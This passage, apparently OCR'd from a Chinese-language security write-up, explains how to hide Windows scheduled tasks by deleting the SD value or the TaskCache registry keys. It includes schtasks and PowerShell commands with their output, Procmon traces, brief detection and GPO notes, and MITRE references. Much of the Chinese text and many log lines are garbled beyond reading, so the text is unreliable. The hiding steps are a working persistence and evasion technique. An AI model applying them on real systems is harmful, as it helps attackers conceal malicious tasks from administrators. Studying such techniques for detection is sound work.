he\Tree\$taskname" -Force

#Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
he\Tasks\$uuid" -Force

BEEA LR A

PS C:\> schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /ru "administrato
o

BTN ARINBUZITRIESS "test”.
PS C:\> schtasks.exe /query /tn test



X\

54 TRE{THT 8] [
test 2021/1/11 14:56:00 ek
PS C:\> schtasks.exe /querylfindstr test

test 2021/1/11 14:56:00 ??

PS C:\> Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S
chedule\TaskCache\Tree\test" -Name "SD"

PS C:\> schtasks.exe /query /tn test

BiR: RORAREEXXHE.

PS C:\> schtasks.exe /querylfindstr test

PS C:\>

XA XIRATTRIES, MEFEAEX R —LL:

$taskname = "test"

$uuid = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sch
edule\TaskCache\Tree\$taskname" -Name "Id").Id

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCach
e\Tasks\$uuid"

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCach
e\Tree\$taskname"

sc.exe stop schedule
sc.exe start schedule

FREBHRR

gi#RinE, RNETESERETRPIRENT:

o & “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\SD”, EMZIYLE, EAFINKIEEN
o BHEWE “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree{TaskName}” ##Y Id. Index. SDZ%{E
o (EEEIBEEM)
o TIHFEIMN SD B, SWZEREENREEZESEEEEN, EFAENIFMXMESESEX
o tRE SD {H, #HITHIRIEE
o MRMREL, BXLHEE “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tasks{Taskld}” FHIESZFMER
o MRAEE, MFHTTF—MESHEN



Process Name PID Operation Path Result
- RegOpenkey HKLM\SOFTWARE \Microsoft \Windows NT\CurrentVersion\Schedule\TaskCache\T: SUCCESS
RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree BUFFER OVERFLOW
.= RegCloseKey  HKLM\SOFTWARE\Microsoft\lindows NT\CurrentVersion\Schedule\TaskCache\ SUCCESS
" RegOpenkey HKLM\SOFTWARE \Microsoft\indows NT\CurrentVersion\Schedule\TaskCache SUCCESS
RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test\Id BUFFER_OVERFLOR
. RegQueryValue HKLM\SOFTWARE\Microsoft\liindows NT\CurrentVersion\Schedule\TaskCache\Tree\test\Index SUCCESS
. RegCloseKey  HKLM\SOFTWARE\Microsoft\Windows \T\CJu?nr\'ers]u\\Sc-‘e:ule \Tﬂ)!;(‘;\che\’xs?\te t ccEcs
RegOpen; WARE \Mi crosoft \Wir X o
0 \
Re; FKLM\SOFTHARE\l crosof \Windowa. NT\CurrentVersion\Schedule\TaskCache \Tree\test CCESS
1056 &, RegOpenkey HKLM\SOFTHARE \M crosoft \Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test SUCCESS
1056 @, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test\SD BUFFER OVERFLOW
1056 # RezQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\T: 1ee\te<(\>D BUFFER OVERFLOW
1056 &, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache'\Tree\test\SD SUCCESS,
1056 f, ResCloseKey ~ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache, ree\test SUCCESS
1056 &, RegOpenkey HKLM\SOFTWARE \Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test SUCCESS
1056 &, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Iree\ (ewmu BUFFER OVERFLOW
1056 #}, ResQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\tes BUFFER OVERFLOW
1056 # RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\tes \SD SUCCESS,
1056 8 RegClosekey  EKLW\SOFTVARE\Microsoft\iindows NT\CurrentVersion\Schedule\ Lasktache\ Tree\test SUCCESS
1056 # RegOpenkey HKLM\SOFTWARE \Microsoft \indows NT\C: es SUCCESS
1036 48 RegQuersValue  HKLW\SOFTVARE\Iicrosaf s \Windons NT\CurrentVeraion merule\Tark(‘ath\ ree\test\Id SUCCESS
1056 @, RegCloseKey  HKLM\SOFTWARE\Microsoft\Windows Schedule\TaskCache'\Tree\test
1056 @, RegOpenkey HKLM\SOFTWARE \Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache F3FSCC18-64E2-4C92~ AFGDFCBCDCB]
1056 §, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ (F3F8CC18-64E2-4C92- AFGDFCBCDCB) \Hash
1056 @, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache'\Tasks\ (F3FSCC1S-64E2-4C92-4 AFGDFCBCDCB) \Schema
1056 @, RezQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ (F3F8CC18-64E2-4C02~; AFGDFCBCDCB} \Version
1056 § RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ (F3FSCC18-64E2-4C92-AR4A-24F6DFCBCDCB) \Date S
1056 @, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache'\Tasks\ (F3FSCC18-64E2-4CO2-AE4A-2AF6DFCBCDCB) \SecurityDescriptor NAME NOT FOUND
1056 @, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\ (i AFGDFCBCDCB) \Source NAME NOT FOUND
1056 alue  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache 2AF6DFCBCDCB) \Author SUCCESS
1056 lue  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\T \~2AF6DFCBCDCB) \Descript ion NAME NOT FOUND
1056 Re«num\alue HKLM\SOFTWARE \Microsoft \Windows NT\CurrentVersion\Sc! 1ecule \TaskCache\ \~24F6DFCBCDCB) \Documentation NAME NOT FOUND
1056 lue  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ { 2AF6DFCBCDCB) \Data NAME NOT FOUND
1056 alie HKLM\SOFTRARE\icrosoft\indovs NT\CurrentVers on\Schedule\TaskCacho\Taske\ AFGDFCBCDCB) \URT SUCCESS
1056 # RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ I AFGDFCBCDCB) \Triggers BUFFER OVERFLOW
1056 &, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ { 2AF6DFCBCDCB) \Triggers SUCCESS
1056 # ResQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache, AFEDFCECDCB) \Package NAME NOT FOUND
1056 # RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache \( AFGDFCBCDCB) \Capabi lities NAME NOT FOUND
1056 @, RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache'\Tasks\ { AFGDFCBCDCB) \Actions SUCCESS
1056 @ RezCloseKey ~ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\ \FGDFCBCDCB] SUCCESS,
1056 #% ReoNnenkey HKTM\SOFTHARFAM: crosof\Windows NTACurrentVersion\Schedil s\ TackCache\ Trae\ tesr. SICCRSS,

1

D:
Length.
\Jmedup\ TaskCach

©
HKL‘A SOFTFARE\Microsoft\Findows NT\Curren

svehos
svchost. exe

OauﬂRngpcnKCv Version\Schedule\TaskCache\Tree\tes: Desired 4
svchost. exe 1056 # RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\tes RFLOW  Length: 1
svehost. exe 1056 € RegQueryValue HKLW\SOFTWARE\Microsoft\Windows ereion\Sehodul e\TaskCache\ Trse roet\Tndes Type: REG
¥ sychost. exe lOou%chClnscKc\ HKLM\SOFTWARE \icrosof t\Windows Version\Schedule\TaskCache\Tree\test
ve 1056 £ RegOpenkey  HKLM\SOFTWARE\Microsoft\Windows Version\Schedul e\TaskCache\Tree\test Desired 4
Wi svchost, exe 1056 g RegQueryValue HKLM\SOFTWARE\Microsoft\Windows Version\Schedule\TaskCache\Tree\test\Id Type: REG
w s 1056 # RegCloseKey  HKLV\SOFTWARE\Microsoft\Windows
- 1056 £ RegOpenkey  HKLM\SOFTWARE\Microsoft\Windows Desired &
» ryValue HKL\SOFTVARE\Microsof \Windows Version\Schedule\TaskCache\Tree\test\SD ngm 1
¥ HKLV\SOFTWARE\Microsof t\indows Version\Schedule\TaskCache\Tree\tes:
HKLM\SOFTHARE \Mi crosoft\Windows ion\Schedule\TaskCache\Tree\test Desired 4
HKLM\SOFTRARE \Microsof t \indows ntVersion\Schedule\TaskCache\Tree\test\SD Length: 1

HKLM\SOFTWARE\Microsof t\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test

RIS SD R, TEREAFPESENREFZISER, SHRAGERHELNRE

\>schtasks.exe /query /tn test
Hix: RAKABIEENH

BhiEERE T IMES TR A

. BEITIESRARATFETEIMERF L, RrIM@EE SYSTEM KFIE1T,

B, 2% Allow server operators to schedule tasks
2. EBERATF administrators AP AN FHIZRIM SRt

scheduling priorit

RILATE GPO A 1THD

T8, AILATE GPO HECE, % Increase

=+
IﬁL‘;\ zl:l

TENATUTMIRA:


https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj852168(v=ws.11)?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221960(v=ws.11)?redirectedfrom=MSDN

o ITRIESTERER

o BMAIRTUESHAR

o TTHIESERERIMRPNUE

o ITRIESHTZEHEATIREAR

o EZABNNRXFHEDIT

o taskeng.exe #l taskhostw.exe HIHFESEL

o RENTIES

51H

e https://docs.microsoft.com/en—us/windows/win32/taskschd/task—scheduler—start-page

e https://docs.microsoft.com/en—us/previous—versions/windows/desktop/automat/bstr

e https://docs.microsoft.com/en-us/windows/application-management/svchost-service—
refactoring

e https://nasbench.medium.com/a-deep-dive-into—windows-scheduled-tasks—and-the—

processes-running—them-218dleed4cce

e https://attack.mitre.org/techniques/T1053/002/

e https://attack.mitre.org/techniques/T1053/005/

e https://github.com/libyal/winreg—
kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc

e https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/

e https://github.com/dahall/TaskScheduler

e https://docs.microsoft.com/en—us/windows/win32/taskschd/task—scheduler—start-page



https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/automat/bstr
https://docs.microsoft.com/en-us/windows/application-management/svchost-service-refactoring
https://nasbench.medium.com/a-deep-dive-into-windows-scheduled-tasks-and-the-processes-running-them-218d1eed4cce
https://attack.mitre.org/techniques/T1053/002/
https://attack.mitre.org/techniques/T1053/005/
https://github.com/libyal/winreg-kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/
https://github.com/dahall/TaskScheduler
https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
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